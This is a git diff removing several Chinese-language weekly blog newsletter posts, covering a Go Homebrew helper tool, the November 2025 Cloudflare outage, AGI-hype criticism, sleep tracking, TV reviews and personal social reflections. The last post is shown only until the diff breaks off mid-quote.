-诚然,敏感审查员对一本书的文学和思想价值毫无帮助,在美国出版界却是必不可少的。树老师认为敏感审查的做法无疑是加重了群体之间的矛盾,规定「黑人只能吃某种晚餐」「黑人只能说饶舌俚语」本就是在加深刻板印象、加剧种族歧视。 - -社交媒体上如 Cancel Culture 这样的风气如今也开始影响传统纸质媒体和书籍出版了,这很可怕,而且在中国(中文是除了英文之外受众最多的出版语言),这种趋势也有苗头。 - -## ⁂ · 星群 - -### AI 世界时钟 - -作者让不同的模型每分钟用 HTML 和 CSS 生成一个带动画的时钟,做成了一个网站。我不清楚作者开发这个项目的目的是什么,但我极度怀疑他是为了展示 LLM 的平面想象能力有多么弱智。 - -{{< gallery >}} - - - - - -{{</ gallery >}} - -目前看来,只有 Kimi K2 生成的时钟质量比较稳定,至少是为数不多能用的。 - -访问:[AI World Clocks](https://clocks.brianmoore.com/) - -## ↯ · 当下 - -### 开发 wthis - -我对自己的设备有种奇怪的洁癖,会不定期浏览电脑上安装的 App 并卸载长时间未使用的,即使这个程序不会占用太多的存储空间。某天,我把目光转向了 macOS 上的命令行工具,运行 `brew list` 发现 Homebrew 列出来的大部分软件包我都不认识,用 `brew info` 查询的结果可读性极差,遂用 Go 写了一个[命令行工具](https://github.com/BigCoke233/wthis)。 - -看到不认识的 Formula 就大喊「What the ~~Heck~~Homebrew is this?」,即可获取必要信息: - -```shell -wthis <formula_cask_name> -``` - - - -个人认为最有用的是可以直观地看到这个包是自己运行 `brew install` 安装的还是作为依赖自动安装的,如果是作为依赖安装的,则会列出依赖于这个包的其他包。同时还会查询对应二进制文件上次被访问的时间,也就是可以看到自己最近有没有用过这个软件。我把这两个部分的信息称作「用户交互记录」,这么看的话就会很清楚某个软件包为什么出现在列表里,以及应不应该留下。 - -如果你感兴趣,可以运行一下命令安装 wthis。 - -```shell -brew install BigCoke233/tap/wthis -``` - -开发过程很有趣,第一次写 CLI,控制换行和排版什么的没有想象的那么简单;学到了一些 Homebrew 相关的基础概念。写 Hugo 主题的时候也会用到一些嵌入的 Go 语言代码,但整体写的不多,所以在做这个程序的时候也难免求助 ChatGPT。从敲代码的体感上,Go 很像是现代化、更花哨也更好用的 C 语言,虽然结构体和指针一个不少,但写起来还算方便(但是 Go 移除了三目表达式,这个还是非常不习惯的!)。做完 `v0.1.0` 版本之后就去看 Go 语言文档查漏补缺,今年年初为了做游戏学了 Lua,那今年就以入门 Go 作为结尾吧——总觉得这两门语言在气质上有些类似,尽管一个是脚本语言,一个是更底层的语言。 - -访问:[GitHub - BigCoke233/wthis](https://github.com/BigCoke233/wthis) - -### 学习 Go 语言如何助长我的语言偏见? - -这 Go 语言越学,我就越讨厌 Java 这门语言。无意冒犯 Java 开发者,但我愈发觉得,人们使用 Java 的最大原因并非是这门语言和它的技术栈有多好用,而是因为技术债务[^1]、传统、人力资源[^2]和让人产生依赖的软件生态。事实上,选用其他编程语言和技术栈照样可以写出健壮、功能完善的后端程序,性能、速度和安全性可能还更好。 - -我承认我对 Java 有偏见,我的确不喜欢这门语言,从刚接触到这一门语言和热门的 Spring 框架起,我就疑惑为什么实现简单的需求需要编写这么多文件和类、为什么有这么多的抽象、为什么有这么多我不清楚原理的「魔法」。即使弃用了 IDEA,转用一个简单的编辑器和命令行进行开发,做到了尽量透明可控,我依然对这门臃肿、啰嗦、复杂的语言提不起好感。 - -诚然,我接触 Go 的时候也感到不适应,也会产生疑惑:为什么要移除这么好用的三目表达式?为什么编译器这么严格,未被使用的引用居然会导致编译时报错?为什么没有传统面向对象编程的类和继承?不过很快这些疑问就得到了解答,我很快就爱上了这门语言以及它背后的各种编程哲学。我正在逐条学习 [Go Proverbs](https://go-proverbs.github.io/),目前为止我最喜欢的一条是: - -> Clear is better than clever. -> -> 聪明比不过清晰。 - -### 本周看了什么? - -《地狱客栈》(Hazbin Hotel)第二季更新到第六集了,这个剧情走向越来越让我感到迷惑。本来以为在铺垫,但是这季总共也就八集啊…… 我认为问题可能在于剧情线太多了,每个(组)人物都需要占用时间铺垫和表现,以至于第二季的叙事在我看来有些慌张,人物的动机和行为都挺令人费解的。如果每集时间更长或者剧集数更多的话,或许观感会有提升。 - -目前最喜欢的音乐片段来自我最喜欢的角色 Husk(谁会不喜欢酒保猫恶魔!)。 - -<iframe src="//player.bilibili.com/player.html?isOutside=true&aid=115541331148948&bvid=BV1vGC4B3ETf&cid=33969997588&p=1&autoplay=0" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" loading="lazy" width="100%" height="400px"></iframe> - -周五看了有名的音乐剧《吉屋出租》(Rent),看到四分之一的样子就没看了。我得说我不太能欣赏得来,叙事和音乐在我看来都有些乱乱的,兴许过几年再看会能够理解吧。 - -周六看了 Apple TV 的新剧《同乐者》(Pluribus),很喜欢。这应该是今年看的第二部来自 Apple 的美剧了,第一部是《人生切割术》的前两季。目前的印象是,Apple TV 的剧集质量都还不错。《同乐者》是科幻题材的乌托邦(或反乌托邦)美剧,除了主角和少数幸存者,地球上所有人类都成为了一个集体意识,这让我想到了《瑞克与莫蒂》里的 Unity。不幸的是,尽管集体意识能够满足主角的所有需求,甚至带她找到其他的还保有自我意识的个体,她依然感到孤独和不快乐。目前《同乐者》只推出了三集,这三集我都很喜欢,期待后续。 - -2025 年年底真的有很多好东西,本人的文娱生活算是有救了。尽管还没定档,但今年年底应该会上线音乐剧《魔法坏女巫》的第二部分,美剧《怪奇物语》也会在今年年底和明年年初播出。 - -### 今年第一次去酒吧 - -本人患有癫痫,不能饮酒,所以基本不去酒吧。上次去酒吧已经是去年的事情了,那个时候喝的是可乐;周日晚上被朋友叫去了酒吧玩,喝的是椰奶。酒吧不是夜店那种氛围,有点像夜间版的咖啡馆。我们都没怎么喝酒,只是在聊天和玩游戏。不过朋友叫了三个来自中东国家的外国友人(他们穆斯林似乎也不喝酒),全场没有一个人的母语是英语但不得不用英语交流,再加上拉人的这个朋友自己还喝醉了,玩游戏的时候语言功能至少丧失了 50%…… 总之整个局的氛围挺奇妙。 - -大家离开的时候明显没有特别开心,我觉得我可以从一个旁观者的视角分析一下原因,还挺有意思的: - -三个穆斯林小哥是兄弟,一开始只来了一个,在场大部分都是女性的时候他的行为和他的兄弟来了之后的行为明显不一样。一开始他会拿牌玩魔术逗人开心,行为很有分寸,等另外两个人来了之后他就和他们一起讲荤段子了,甚至连笑声和笑容都变了——和我同行的基本上都是女性,他们对这种玩笑感到不舒服。我觉得最令人不适的一个玩笑是:玩游戏的时候我们让他们猜同行的一位女生喜欢男性还是女性,他伸出两根手指让女生选一根,然后因为女生选了更长的那根就说她喜欢男的…… - -在我的观察里,这是一种很常见的同伴压力,或者用上野千鹤子在《[厌女](/library/2024/厌女/)》中提到的「男性同性社会同盟」——当男性聚集在一起时,他们会避免被其他男性认为「不是真男人」。他们在开男同玩笑的时候,还说「Real men fuck real men.[^3]」这种话。 - -我其实不觉得这三位男性有多坏,我只觉得这是普通直男在同性群体里常有的表现,尽管我表示鄙夷。 - -[^1]: 技术债务(technical debt)指开发人员为了加速软件开发,在应该采用最佳方案时进行了妥协,改用了短期内能加速软件开发的方案,从而在未来给自己带来的额外开发负担。这种技术上的选择,就像一笔债务一样,虽然眼前看起来可以得到好处,但必须在未来偿还。—— 来源:[技术负债 - 维基百科](https://zh.wikipedia.org/wiki/%E6%8A%80%E6%9C%AF%E8%B4%9F%E5%80%BA) - -[^2]: 学过 Java 的人一定比学 Go 或其他语言的多,除了 C 语言、C++、Python 和 JavaScript 这些一般不会用在 Web 后端开发的语言。不过现在用 Node.js 写后端也很常见了。 - -[^3]: 真男人才操真男人。 diff --git a/content/posts/weekly/56.md b/content/posts/weekly/56.md deleted file mode 100644 index 12ae0506..00000000 --- a/content/posts/weekly/56.md +++ /dev/null @@ -1,169 +0,0 @@ -+++ -title = "稻草人周刊 Vol.56" -subtitle = "半个互联网崩溃了 6 个小时" -tags = [ - "AI", - "Web", - "计算机", - "健康", - "生活", - "人际交往", -] -date = 2025-11-24 10:55:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/2025/11/chonging-at-night.jpeg" -draft = false -toc = true -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", - "封面图是从鸿恩寺森林公园的某个小路上拍到的夜景", -] -+++ -{{< music cover="https://r2.eltr.ac/picgo2025/71MF91Y-bIL._SL1400_-69387600.jpg" title="Quel ennui" artist="Le Rouge et Le Noir" apple="https://music.apple.com/cn/album/quel-ennui/1599074186?i=1599074924" spotify="https://open.spotify.com/track/7IlLcPOdXsyC7rNyqcu1XS" netease="https://music.163.com/#/song?id=428649324" >}} - -> Oh, quel ennui, quel ennui ces gens bien gentils -> 啊,好无聊,好无聊,这些优雅的人儿 -> -> Qui m'aiment et me lassent, -> 他们爱我也让我厌倦 -> -> Sans rien qui dépasse -> 到无以复加 -> -> Quel ennui, quel ennui tous ces beaux partis -> 好无聊,好无聊,所有这些佳偶 -> -> Sous les politesses, -> 礼貌之下 -> -> Si peu de noblesse -> 毫不高贵 - -玛蒂尔德小姐是我在《[红与黑](/library/2025/红与黑/)》里最喜欢的角色,这周看了由这部小说改编的音乐剧《摇滚红与黑》,玛蒂尔德小姐登场时唱的就是这首《Quel ennui》,也是我这部音乐剧里最喜欢的一首歌。喜欢她的原因,大概是在她身上看到了连现代人都难以拥有的主体性吧。<!--more--> - -## ⋈︎ · 连接 - -### 半个互联网崩溃了 6 个小时 - -> [!note] 📢 -> 官方报告:[Cloudflare outage on November 18, 2025](https://blog.cloudflare.com/18-november-2025-outage/) - -> [!note] 📜 -> [Rust 背锅了:Cloudflare 故障分析 \| CatCoding](https://catcoding.me/p/rust-in-cloudflare-incident/) - -> 2025 年 11 月 18 日 11:20 UTC,Cloudflare 网络开始出现严重故障,无法正常传输核心网络流量。尝试访问我们客户网站的互联网用户会看到一个错误页面,提示 Cloudflare 网络出现故障。 - -{{< right "——[Cloudflare 官方报告](https://blog.cloudflare.com/zh-cn/18-november-2025-outage/)" >}} - - - -此期间 ChatGPT 和各大网络服务均无法正常访问,中文博客圈也有不少网站出现了问题,本博客自然也没能幸免。Cloudflare 一直向互联网提供免费的 CDN 和防护服务,很多个人网站都接入了 Cloudflare,国际大厂也使用他家的服务。这次故障可以说让互联网的半边山都倒了,不过国内互联网应该是没有受到影响,而且事故发生时是北京时间的晚上,估计很多人是一觉醒来之后才发现出事的,而那个时候问题已经修复了。 - - 分享的友链崩溃盛况") - -故障并非由黑客攻击引起,而是 Cloudflare 内部的一个问题,和一行 Rust 代码相关。这是 Cloudflare 公布的代码截图。 - - - -问题出在机器人管理模块,这个模块通过机器学习分析网络流量的特征,拦截网络爬虫。事发当天,Cloudflare 更改了特征数据库的权限,原先用户只能访问 `default` 数据库中的表,他们在编写 SQL 语句的时候没有指定表名进行查询;权限放开之后,这个 SQL 语句查询到的不止是 `default` 中的特征。当这几百条特征值被上面的代码 `unwrap()` 之后,达到了预先分配的内存上限,而这个错误没有得到处理,所以导致了线程崩溃。[^1] - -很难想象,掌管着半个互联网流量的 Cloudflare,代码健壮性居然这么差,一个小小的权限改动就能引发蝴蝶效应。 - -这次事故倒没有引发我对 Cloudflare 的不信任,毕竟我也是免费用他家的服务,而且就算是 6 个小时的停摆对我这样的小网站来说也算不了什么;只是提醒了我,如果真要保证可靠的服务,是不能盲目相信任何大厂的,要把鸡蛋放在不同的篮子里。 - -### AGI 幻想是对实际工程的阻碍 - -> [!note] 📜 -> [AGI fantasy is a blocker to actual engineering](https://www.tomwphillips.co.uk/2025/11/agi-fantasy-is-a-blocker-to-actual-engineering/) - -作者观察到,和 Open AI 多少有着联系的那些人,普遍相信人类真的能造出 AGI(通用型人工智能),并且相信 AGI 要么会让人类欣欣向荣,要么会导致毁灭。作者认为这种幻想不切实际,而且对真正的技术发展造成了阻碍。 - -> I think it’s remarkable that what was until recently sci-fi fantasy has become a mainstream view in Silicon Valley.</br> -> 我觉得很神奇的是,直到最近还是科幻内容的东西,居然变成了硅谷的主流观点。 - -> So the belief in AGI, plus the recent results from LLMs, necessitates scaling, and justifies building data centres that consume hundreds of litres of water a second, run on polluting gas generators because the grid can’t supply the power (and might use as much power as entire cities), driving up CO2 emissions from manufacture and operation of new hardware, and exploits and traumatises data workers to make sure ChatGPT doesn’t generate outputs like child sexual abuse material and hate speech or encourage users to self-harm. (The thirst for data is so great that they stopped curating training data and instead consume the internet, warts and all, and manage the model output using RLHF.)</br> -> 对 AGI 的信仰,以及最近 LLM 得到的进展,让规模化变得必要,让建造数据中心变得合理——每秒消耗几百升水;因为电网没办法供应能源,所以使用产生污染的燃气发电机(用的能源可能抵得上整个整个的城市);在生产和运作硬件的过程中排放大量二氧化碳;并且剥削、创伤数据工作者,来保证 ChatGPT 不会生成儿童性虐待内容、仇恨言论或鼓励用户自残自杀。(对数据的渴望如此强大,他们已经不再策展数据,而是直接吞下整个互联网,包括其中的瑕疵,并通过 RLHF 管理模型输出) - -> As a technologist I want to solve problems effectively (by bringing about the desired, correct result), efficiently (with minimal waste) and without harm (to people or the environment).</br> -> 作为一个技术人员,我想要解决问题的方式是有效的(产生想要的、正确的结果),有效率的(最小的浪费),并且是没有伤害的(对人或对环境)。 - -> If we drop the AGI fantasy, we can evaluate LLMs and other generative models as solutions for specific problems, rather than all problems, with proper cost benefit analysis.</br> -> 如果我们放弃对 AGI 的幻想,我们就可以将 LLM 和其他的生成式模型作为特定问题、而**不是所有问题**的解决方案进行评估,而且要用恰当的花费收益分析进行评估。 - -总而言之,大语言模型是一项具有革新意义的技术,但人们应该看清现实,别再继续把大语言模型当作**一切问题**的答案了。 - -## ↯ · 当下 - -### 人体是个黑箱 - -周二的早上爬不起来,错过了一节课,还被一个从来不点名的老师点到了。当天刚好降温,本以为是气温的关系,结果打开 Gentler Streak 一看,发现深度睡眠时间只有 31 分钟——恢复性睡眠不足才是我起不来的罪魁祸首!我在过去一年的时间把深度睡眠时间从半个小时调到了一个半小时(成年人的正常水平)[^2],当天睡眠质量急速下滑属实让我觉得猝不及防。 - -继续回顾睡眠数据,我发现当天的睡眠心率最高达到了 120 bpm,有很明显的峰值,这显然不正常。更令我害怕的是,这样的峰值在最近一周出现了四次。我开始回忆是什么导致了我睡眠心率飚升: - -1. 我最近一周开始在睡前喝蛋白粉喝肌酸,因为锻炼之后可能会忘记。查看配料表后,我发现这两款补剂中都含有「三氯蔗糖」,我怀疑是摄入甜味剂导致身体出现了反应,比如夜间胰岛素水平上升,ChatGPT 表示一些人的确有可能对人工甜味剂产生不良反应。 -2. 我最近一周换上了更暖和的毛毯,但是晚上经常被热醒,醒的时候浑身都是汗,只不过半夜热醒的时候实在是太困了,很快就睡着了,第二天起来除了发现自己把被子翻了个面之外什么也记不起来了(翻面的原因大概是另一面绒毛没那么密集,透气性更好)。深度睡眠要求机体核心体温下降[^3],温度异常上升很容易影响深度睡眠,夜间体温上升的时间可能就是心率峰值出现的时间。第二天我换了更透气的被子,毛毯只盖下半身,深度睡眠恢复了;但是第三天,深度睡眠时间居然下降到了 22 分钟!床品的透气性显然不是唯一原因。 -3. 进食会导致核心体温上升,也不利于进入深度睡眠,睡前吃东西也可能是扰乱睡眠的原因。 - -我实在搞不懂哪里出了问题,于是书呆子属性大爆发,做了个电子表格还画了图。 - -{{< gallery >}} - - - -{{</ gallery >}} - -一开始我发现,深度睡眠(也叫慢波睡眠,Slow Wave Sleep,即图表中的 SWS)和恢复性睡眠(Restorative Sleep)的时长变化一致,深睡时间几乎决定了我当天有没有从睡眠中得到足够的恢复;而我的 SWS 时长几乎和我的夜间最高心率呈现负相关。所以,我一开始的重心放在了「什么引起了我夜间心率异常?」这个问题上,我认为是睡前进食、摄入甜味剂、热量堆积等原因导致了我心率上升,继而导致深睡时间减少。 - -然而,星期天的时候我发现当天的深睡时间只有 48 分钟,而夜间心率很正常;再回顾几天前的数据,也有不少心率高,但深睡时长健康的样本。所以睡眠质量下降可能只是睡前进食或摄入甜味剂直接导致的,接下来的一周我会避免在睡前两小时内吃东西,并且持续收集样本,看看睡眠质量下降的原因究竟是什么。 - -> [!note] -> 2025.11.24(周一)补充:今天早上起来发现昨晚凌晨一点才睡,睡前还吃了黄油年糕、薯片这样的糖油混合物,深度睡眠竟然也达到了一个半小时以上,夜间进食似乎不是主要原因。我觉得最大的问题可能是健身补剂中的甜味剂。 - -### 本周看了什么? - -打算丰富自己的文娱生活,于是想着每周可以看一到两部音乐剧。在周二的时候看完了《摇滚红与黑》,音乐剧删掉了原著里于连在贝藏松神学院学习的情节,大概是时长和经费不够(剧中的马匹和椅子等道具都是拿板子糊的,很难想象剧组穷成什么样子了),但整体而言我很喜欢。今年年初本来看到了《摇滚红与黑》要到成都巡演的消息,时间就是 11 月底,但错过了买票时机,没能去到现场,还是有些可惜的。周四看了上世纪八九十年代的《星幻》(Starmania),同样是一部法语的摇滚音乐剧,歌还不错,但剧情没有很感兴趣,所以没看完,之后可能会继续看。 - -看了《同乐者》(Pluribus)第四集,这一集似乎没有太多值得讨论的点,等全部九集更新完之后再评价吧。 - -《地狱客栈》第二季在这周播完了,社区骂声一片。大家并不是对结局不满意,而是对全部八集的剧情都不满意,以至于《地狱客栈》相关的内容下几乎全是情绪输出,搞得我看动漫的心情也不太好。我其实很少掺和社区里的讨论,如果从第三方视角来看的话,撇开所有的情绪输出,我认为《地狱客栈》第二季引起众怒的原因在于: - -1. 《地狱客栈》的试播集于 2019 年播出,试播集之后就大火,积累了很多粉丝,而这些粉丝大多都有自己非常喜欢的角色,但第一季在 2024 年年初才播出,而试播集和第一季中角色的性格、思维方式和能力强弱都有不一致的地方,这也导致了从第一季开始就有人骂这部动漫,而有不少骂声都是在说「主创毁了 XXX 角色」「XXX 被塑造得好蠢」——根本原因是从 2019 年到 2024 年,地狱客栈的社区就一直在活跃,粉丝对角色的认知已经固化了,难以接受在正式剧集里的改变;试播集里也留下了悬念,大部分人物的背景故事都没有解释,而第二季补上了好多空白,这也引发了不满,比如很多人都不能接受 Alastor 在生前原来只是一个很单薄的坏人形象。 -2. 第二季的故事线很明确,单把剧情拆出来也只能说是差强人意,罪不至此。不少关键发展和转折点尽管有铺垫,但太单薄,因为每一集的时长只有 20~30 分钟,每一季只有 8 集,而这 8 集里面还要塞下 20 首歌(毕竟也算音乐剧),很多发展都显得急促了。大部分粉丝都在关注自己喜欢的角色,有一个叫做 Baxtor 的新角色被忽略了,这个角色在第二季第一集才出现,而中间的六集几乎是透明的,没有什么登场机会,到了最后一集才成为推动剧情的关键角色,这也非常生硬,而他冒险帮助主角的原因只是「我们是朋友啊」——在缺少充分塑造的情况下,这个解释非常牵强。如果剧集的时间长一些,主创没有理由不把角色塑造得更立体。 - -第二季最后是一个非常正能量的大团圆结局,同样地,这个大团圆也非常牵强(尽管从逻辑上来讲是说得通的,但感性上确实令人难以接受,像是硬凑出来的)。不过,该说不说,前面的打戏还是很好看的。 - -最后,我还想反思一下,我在看这个动漫的时候花了不少时间阅读评论和观看各种谩骂主创团队的视频,让我自己的心情和状态都变得很差。尽管我的确不满意这部作品呈现出来的结果,但还不至于那么讨厌,而这些谩骂有不少都是对主创 Vivienne Medrano 本人的人身攻击,还有不少在我眼里看来还算正常的人物成长、剧情发展,被一些人钻牛角尖指着骂[^4]——其实我知道,这些人只是在发泄自己喜欢的作品没有达到预期的情绪,怒其不争而已,我没必要陪他们一起陷入到这种情绪里。我可能需要多加练习,才能做好一个冷静的观察者。 - -### KY 究竟是正当的道德指责,还是自身社交能力低下的外归因? - -之前有人指责我不会读空气,还跟我解释日本文化很讨厌 KY,不过,某个文化的价值取向并不能佐证这一指控的正当性,而且我逐渐意识到,他所说的「不会读空气」和人们常说的 KY 并不是同一个概念。 - -所谓的读空气,就是根据面部表情、氛围等观察别人没有说出口的意思。和「察言观色」的区别是,读空气读的一般是一个环境、场合下,群体展现出来的言和色。读空气就是在特定的场合下做正确的事,KY(kūki ga yomenai,“空気が読めない”)就是指做出了不合时宜的事情、发表了不合时宜的言论。 - -回到前文提到的那个人,他之所以指责我不会读空气,并非是我经常做不合时宜的事情,而是我曾经在和他相处时,把他当做一个可以自由交流观点的对象,所以经常抱着刨根问底的态度和他说话,但在他眼里,这种刨根问底有些咄咄逼人,经常把他逼得说不出话来(尽管我怀疑是他没有能力表达清楚自己的观点,或者就是纯粹想要逃避表达,或者根本没有自洽的价值体系,被深入提问之后就回答不出来了)。在这种时候,他经常转移话题,而这种话题的转移在我看来显得不自然,我讨厌对话没有完结就被突然切断的感觉,所以会把话题扳回来,而这让他感到了不舒服。 - -在只有两个人的场合下,这真的能算作「不会读空气」吗?如果算,那这个空气不应该是在场的所有人决定的吗?而在他眼里,场上的氛围是「我不想继续讨论了,所以我转移话题,对面这个人应该读得懂我的意思」;但在我眼里,我的感受是「我希望讨论能有一个明确的结束点,明确表达结束或得出一个结论都好,话题转移使得讨论没有结束,所以我要把话题转移回来」。两个人的不同想法,哪个才是所谓的「空气」? - -显然,对他来说,他通过转移话题想要表达的「我不想继续讨论了」这个言外之意没有被我接收到,而他认为这才是场上的空气,这个空气可以由他一人决定,而我没有读出他的心思,所以我不会读空气。按照这个逻辑,他自己也不会读空气,因为他没有读到「我希望讨论有一个明确的结束点」这个空气。 - -在两个人的场合下,KY 的指责不是自己社交能力低下的外归因吗?因为自己出于某些原因(可能是怯懦,不敢表达真实想法;可能是懒惰,不想解释;也可能是别的原因),不愿意直接表达自己的需求,而是旁敲侧击,希望别人能够读懂自己的心思,而没能读懂并顺着自己意思来的就是 KY——*你他妈觉得全世界都是你男朋友吗?* - -九月份的时候读了《维罗妮卡决定去死》这部小说,我不喜欢,但有一句话我印象很深刻: - -> 不要总是去猜别人是怎么想的。如果别人有问题,就会自己提出来;如果他们没有提出来,那就是他们自己的问题了。 - -这几天,这个朋友跟我说话的时候一直**乱读**我的空气。他实际上只是分享了一下自己有什么计划,没向我提出任何东西,我也就没有给出太积极的回应。他说「我觉得你可能不太感兴趣吧」,我回复「你为什么会觉得我不感兴趣?我觉得 OK 啊」,然后他就这么看着我,最后什么也没说,不知道是在哪里的**莫名其妙**的空气里读到了「我不想继续说话了」的信息。几分钟之后我去干别的事情了,他在一边自言自语「那看来只能我一个人去了」——*你自己想找搭子又不自己提出来,那确实只能自己一个人去了。* - -我花了好长的时间才把自己这个高敏感性格锻炼成「不去刻意读言外之意;只听别人说出口的话;不多想不内耗;不预设恶意也不预设善意」的体质,在一些人眼里居然是不会读空气,这就是忠于自己的代价吧。 - -我想提醒那些喜欢不厌其烦地依靠言外之意沟通的人,在指责那些喜欢有话直说、不内耗的人没能读懂自己心思(或者称之为「不会读空气」)之前,想一想自己是不是真的把自己表达清楚了,对方真的应该去猜你的言外之意吗?所谓的「我觉得正常人应该都能懂吧」,有没有可能只是因为自己预设了所有人都和自己的思维方式一样,继而不愿意去接受别人的不同而导致的迷思? - -对于其他的读者,你觉得「极度敏感;喜欢猜测言外之意而不关注别人说出口的话;预设善意或恶意并设下防备」和「善用直觉但在与人交往时不依靠直觉;关注并努力理解别人说出口的话而较少地考虑言外之意;只预设双方的平等而不预设善恶」,哪个是更健康的交流模式? - -[^1]: 应该是这样,我不熟悉网络安全也不熟悉 Rust,如果我的理解有错还请指正。 - -[^2]: 详见:《[如何拥有猪一样的睡眠](/posts/如何拥有猪一样的睡眠)》。 - -[^3]: 详见:《[绝佳时间](/library/2025/绝佳时间)》。 - -[^4]: 比如第二季第七集的开头,地狱之王路西法像个傻子一样直接走进了反派设下的再明显不过的陷阱,人们觉得为推动剧情设置这种降智操作是非常不合理的。不过,在我看来,路西法在前面剧集的表现中,一直是一个与现实脱节的家里蹲兼自大狂,他觉得没有人有能力真的伤害到自己,所以对危险毫不敏感其实很合理;再加上,路西法好不容易才重新和女儿恢复联系,吵架之后出于对女儿的爱急于求和,被敌人利用掉入陷进也很合理。 diff --git a/content/posts/weekly/57.md b/content/posts/weekly/57.md deleted file mode 100644 index 5fd1f1e2..00000000 --- a/content/posts/weekly/57.md +++ /dev/null @@ -1,311 +0,0 @@ -+++ -title = "稻草人周刊 Vol. 57" -subtitle = "父亲死后,我们找到了情书" -tags = [ - "存在主义", - "性少数", - "互联网文化", - "写作", - "认知", -] -categories = "稻草人周刊" -date = 2025-12-01 09:23:00 -draft = false -toc = true -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/11/download.jpg" title="有心論" artist="ずっと真夜中でいいのに。" apple="https://music.apple.com/cn/album/yushinron/1851385243?i=1851385244" spotify="https://open.spotify.com/track/4I0EvbsEe7EAGxLPM1QcLb" netease="https://music.163.com/#/song?id=3319483203" >}} - -> 誰も命無駄にしないようにと 君は命に終わり作ったよ <br/> -> 是为了不让任何人虚耗生命 你才为生命设下终点的吗? -> -> だから君がいないその時は 僕は息を止め 待つ <br/> -> 因此当你不在身边之时 我便屏息凝神 静静等待 - -现在听英语歌已经没办法做一个听不懂词的麻瓜只听音乐了,所以偶尔还是会听听日语歌。其实,就算是从网易云音乐转到 Apple Music,我也有一直关注「ずっと真夜中でいいのに。」这个 [@Broca](http://brocalife.com/) 推荐给我的摇滚乐队,总觉得没有难听的歌呢。放在周刊开头的这首是翻唱作品,原唱是 RADWIMPS,原唱也很好听。<!--more--> - ---- - -## ↺ · 回拨 - -> [!note] 🔍 -> 这是 2025 年 11 月的最后一期周刊,照例进行本月的文章回顾。 - -这个月的文章数量有所减少,但字数却超过了十月,原因是这个月写了几篇万字长文。这个月整体的文章质量,我自我感觉都还不错。 - -1. [何以为人](/essays/何以为人/) <br/> - 一篇~~神叨叨的~~讨论何为人性的议论文,写作目的是在我 20 岁的年纪里写下对如何做人的思考,以见证在未来几十年里我对「何以为人」这一问题的思想变迁。本文主要从「情绪-情感-博爱」和「本能-理智-绝对理性」两个层面对比了动物性、人性和神性,并以此为基础讨论人为什么应该专注于成为完全的人,而不是将自己降级为兽或妄图成神。 -2. [阅读的目的从来不是获取知识](/essays/阅读的目的从来不是获取知识/) <br/> - 妄图以使用计算机软件的方式代替阅读(指以刷短视频或与大语言模型对话的方式快速获取知识,或者说消费知识的行为)是可笑的,阅读的目的从来不是获取知识那么简单。阅读应当是一种体验,人学到的知识相比于思维方式的锻炼、人格的提升、体验的丰富来说,根本不值一提。 -3. [我全面抛弃了数字记录](/essays/我全面抛弃了数字记录/) <br/> - 虽然标题看着像是记录,但实际上是一篇指南。我在这篇文章中总结了自己使用数字笔记和纸质笔记的经验,说明了我为什么全面转向纸笔,以及我又是如何使用本子管理生活的。本文还简单介绍了常见的手帐尺寸、类型和记录的形式,供读者参考。 -4. [乐观的代价](/essays/乐观的代价/) <br/> - 乐观主义和悲观主义都是一种偏见,就事论事且不逃避地应对事件才是最好的做法。悲观者已经被批评得够多了,这篇文章聚焦乐观的代价,讨论为什么过度乐观会导致社交无能和某种病态。 -5. [Go 语言的编程哲学](/essays/go-philosophy/) <br/> - 本文整理了 Go 语言的共同设计者 Rob Pike,在 2015 年的一场演讲上整理发表的 Go 语言相关的「谚语」,阐释了在使用 Go 语言编程时应当怎样思考问题、使用工具,其中有不少也可以迁移到其他语言的软件开发中,而且有不少比起说是编程思想,不如说是工程哲学。 - -本月还发布了一篇十月份发布在 Backrooms 中文维基上的小说《[脸盲症](/fictions/脸盲症/)》,如果你感兴趣的话可以读一读。 - -## ⋈︎ · 连接 - -### 父亲死后,我们找到了情书 - -> [!note] 📜 -> [after my dad died, we found the love letters \| Jenneral HQ](https://www.jenn.site/after-my-dad-died-we-found-the-love-letters/) - -> [!note] 📜 -> 后续: [dissolution \| Jenneral HQ](https://jenn.site/dissolution/) - -作者的父亲去世几天后,他们在遗物里找到了很多情书,其中有一条是这样的: - -> _i love dota and i love peaches, but i love you more. i will quit smoking and lose weight for you. the happiest days of my life are the ones that start with you across the breakfast table from me._ -> -> 我爱玩刀塔爱吃桃,但我更爱你。我会为了你戒烟和减肥。我生命中最快乐的日子,就是以和你面对面吃早餐开始的日子。 - -这写信不是写给作者母亲的,作者的父母分别在 27 岁和 26 岁的时候,因为年龄太大,被父母逼婚才走到了一起。父亲与母亲和弟弟关系都很差,经常连续几个月甚至一整年都在外地工作,最近还去了加拿大的一个城市。正因为这种距离,作者对父亲唯一的亲子记忆,就是她七岁时,父亲在床边给发烧的她讲故事;但作者还是和父亲有种独特的亲近,他们以前会一起散步很长时间,在几十分钟的沉默之后,父亲会跟她分享他的悲伤和对生活的失望。作者从没觉得父亲真正幸福、为自己活过。 - -可是,很快作者遇到了她父亲的情人,他们认识了三年,在一年半之后在一起了[^1]。情人表示他们相遇时,两个人都感受到了前所未有的感觉,父亲说服他搬来加拿大和他一起住,所以三十多岁的情人为了他只身来到异国他乡。在情人眼里,他们像是订婚了一样,父亲似乎说过他迟早会出柜[^2],和母亲离婚,然后开诚布公地和他度过余生。当作者看到情人给她的照片时,他几乎不敢相信照片上那个洋溢着笑脸的幸福的男人,和在家里恍惚地坐在电视机前的父亲,是同一个人。 - -读到这里,我真的挤出了几滴眼泪,和作者自己一样,我本以为这是一个在恐怖的社会偏见下挣扎追求幸福的故事。作者「如果父亲还健在,我可以去他和他情人的真正的家里拜访,见证父亲真正幸福的模样」的美好幻想还没开始就结束了。 - -> because you see, my dad was a coward. mom had started asking for divorces by the time i was in my teens, and dad was the one who always said no. he would complain to _her_ mother, a traditionalist, to ensure that she would berate her daughter back into line. his family and his culture had no place for him, so he used her as a shield to make sure that he would be spared the scrutiny. slowly, we found evidence of other affairs, going back decades. -> -> 